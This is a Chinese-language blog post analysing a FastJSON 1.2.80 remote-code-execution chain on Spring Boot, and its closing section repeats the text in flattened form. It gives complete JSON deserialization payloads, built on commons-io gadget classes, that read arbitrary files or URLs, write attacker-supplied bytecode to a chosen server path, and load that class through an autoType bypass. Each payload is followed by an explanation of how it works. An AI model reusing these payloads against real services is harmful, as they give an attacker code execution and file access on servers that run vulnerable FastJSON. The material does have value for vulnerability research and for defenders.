spring +fastjson 的 rce
字数 1006 2025-08-22 12:23:00

Spring + FastJSON RCE漏洞分析与利用

前言

在Spring环境下无法直接上传JSP木马实现RCE,通常需要通过控制加载class或jar包来实现。FastJSON的高版本正好提供了这样的能力。

环境搭建

依赖配置:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.2</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>org.eclipse.jdt.core</artifactId>
    <version>1.9.22</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.80</version>
</dependency>

Spring加载Class原理

Spring运行后大部分类不会加载,但有一些特殊类会被加载,如tomcat-docbase。原理类似于SPI机制。

启动Docker后,/tmp目录下会有一个随机命名的/tomcat-docbase....../WEB-INF/classes/目录。如果该目录下有恶意class文件,就会被加载。但由于目录名随机,利用时需要先读取文件。

FastJSON利用

读取文件

测试方法

  1. 在服务器或本地放置测试文件
  2. 使用以下payload:
{
    "a": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.BOMInputStream",
            "delegate": {
                "@type": "org.apache.commons.io.input.ReaderInputStream",
                "reader": {
                    "@type": "jdk.nashorn.api.scripting.URLReader",
                    "url": "http://ip/1.txt"
                },
                "charsetName": "UTF-8",
                "bufferSize": "1024"
            },
            "boms": [
                {
                    "charsetName": "UTF-8",
                    "bytes": [102]
                }
            ]
        },
        "boms": [
            {
                "charsetName": "UTF-8",
                "bytes": [1]
            }
        ]
    },
    "b": {
        "$ref": "$.a.delegate"
    }
}

原理分析

  1. org.apache.commons.io.input.BOMInputStream构造函数接受InputStream类型参数delegateByteOrderMark数组
  2. getBOM()方法逻辑:
    • delegate输入流的字节码转为int数组
    • ByteOrderMark里的bytes逐个比对
    • 比对错误返回null,全部正确返回ByteOrderMark对象
  3. ReaderInputStream将Reader转为输入流
  4. URLReader可以传入URL对象,支持file、jar、http等协议

写文件

必要依赖

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.7</version>
</dependency>

Payload

{
    "a": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.AutoCloseInputStream",
        "in": {
            "@type": "org.apache.commons.io.input.TeeInputStream",
            "input": {
                "@type": "org.apache.commons.io.input.CharSequenceInputStream",
                "cs": {
                    "@type": "java.lang.String",
                    "value": "恶意字节码"
                },
                "charset": "iso-8859-1",
                "bufferSize": 1024
            },
            "branch": {
                "@type": "org.apache.commons.io.output.WriterOutputStream",
                "writer": {
                    "@type": "org.apache.commons.io.output.LockableFileWriter",
                    "file": "写入路径",
                    "charset": "iso-8859-1",
                    "append": true
                },
                "charsetName": "iso-8859-1",
                "bufferSize": 1024,
                "writeImmediately": true
            },
            "closeBranch": true
        }
    },
    "b": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
            "@type": "org.apache.commons.io.input.XmlStreamReader",
            "inputStream": {
                "$ref": "$.a"
            },
            "httpContentType": "text/xml",
            "lenient": false,
            "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
    },
    "c": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
            "@type": "org.apache.commons.io.input.XmlStreamReader",
            "inputStream": {
                "$ref": "$.a"
            },
            "httpContentType": "text/xml",
            "lenient": false,
            "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
    }
}

关键类分析

  1. XmlStreamReader构造函数:

    public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding) throws IOException {
        this.defaultEncoding = defaultEncoding;
        BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
        BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
        this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
        this.reader = new InputStreamReader(pis, this.encoding);
    }
    
    • 最终会调用InputStream.read方法
  2. TeeInputStream

    public TeeInputStream(InputStream input, OutputStream branch, boolean closeBranch) {
        super(input);
        this.branch = branch;
        this.closeBranch = closeBranch;
    }
    
    public int read() throws IOException {
        int ch = super.read();
        if (ch != -1) {
            branch.write(ch);
        }
        return ch;
    }
    
    • 将输入流内容重定向到输出流
  3. 控制写入内容:

    • 使用ReaderInputStream + CharSequenceReader
    • CharSequenceReader.read方法从字符串中读取内容

加载Class

Payload

{
    "@type": "java.lang.Exception",
    "@type": "恶意类的名称,带上包名"
}

原理

  1. 第一次解析为Exception
  2. 进入ThrowableDeserializer
  3. 第二次checkAutoTypeexpectClass不为空,允许加载

总结

FastJSON的高版本绕过技术非常精妙,特别是写文件的payload设计。1.2.68版本的绕过技术更加精彩,值得深入研究。

Spring + FastJSON RCE漏洞分析与利用 前言 在Spring环境下无法直接上传JSP木马实现RCE,通常需要通过控制加载class或jar包来实现。FastJSON的高版本正好提供了这样的能力。 环境搭建 依赖配置: Spring加载Class原理 Spring运行后大部分类不会加载,但有一些特殊类会被加载,如 tomcat-docbase 。原理类似于SPI机制。 启动Docker后, /tmp 目录下会有一个随机命名的 /tomcat-docbase....../WEB-INF/classes/ 目录。如果该目录下有恶意class文件,就会被加载。但由于目录名随机,利用时需要先读取文件。 FastJSON利用 读取文件 测试方法 : 在服务器或本地放置测试文件 使用以下payload: 原理分析 : org.apache.commons.io.input.BOMInputStream 构造函数接受 InputStream 类型参数 delegate 和 ByteOrderMark 数组 getBOM() 方法逻辑: 将 delegate 输入流的字节码转为int数组 用 ByteOrderMark 里的bytes逐个比对 比对错误返回null,全部正确返回 ByteOrderMark 对象 ReaderInputStream 将Reader转为输入流 URLReader 可以传入URL对象,支持file、jar、http等协议 写文件 必要依赖 : Payload : 关键类分析 : XmlStreamReader 构造函数: 最终会调用 InputStream.read 方法 TeeInputStream : 将输入流内容重定向到输出流 控制写入内容: 使用 ReaderInputStream + CharSequenceReader CharSequenceReader.read 方法从字符串中读取内容 加载Class Payload : 原理 : 第一次解析为 Exception 类 进入 ThrowableDeserializer 第二次 checkAutoType 时 expectClass 不为空,允许加载 总结 FastJSON的高版本绕过技术非常精妙,特别是写文件的payload设计。1.2.68版本的绕过技术更加精彩,值得深入研究。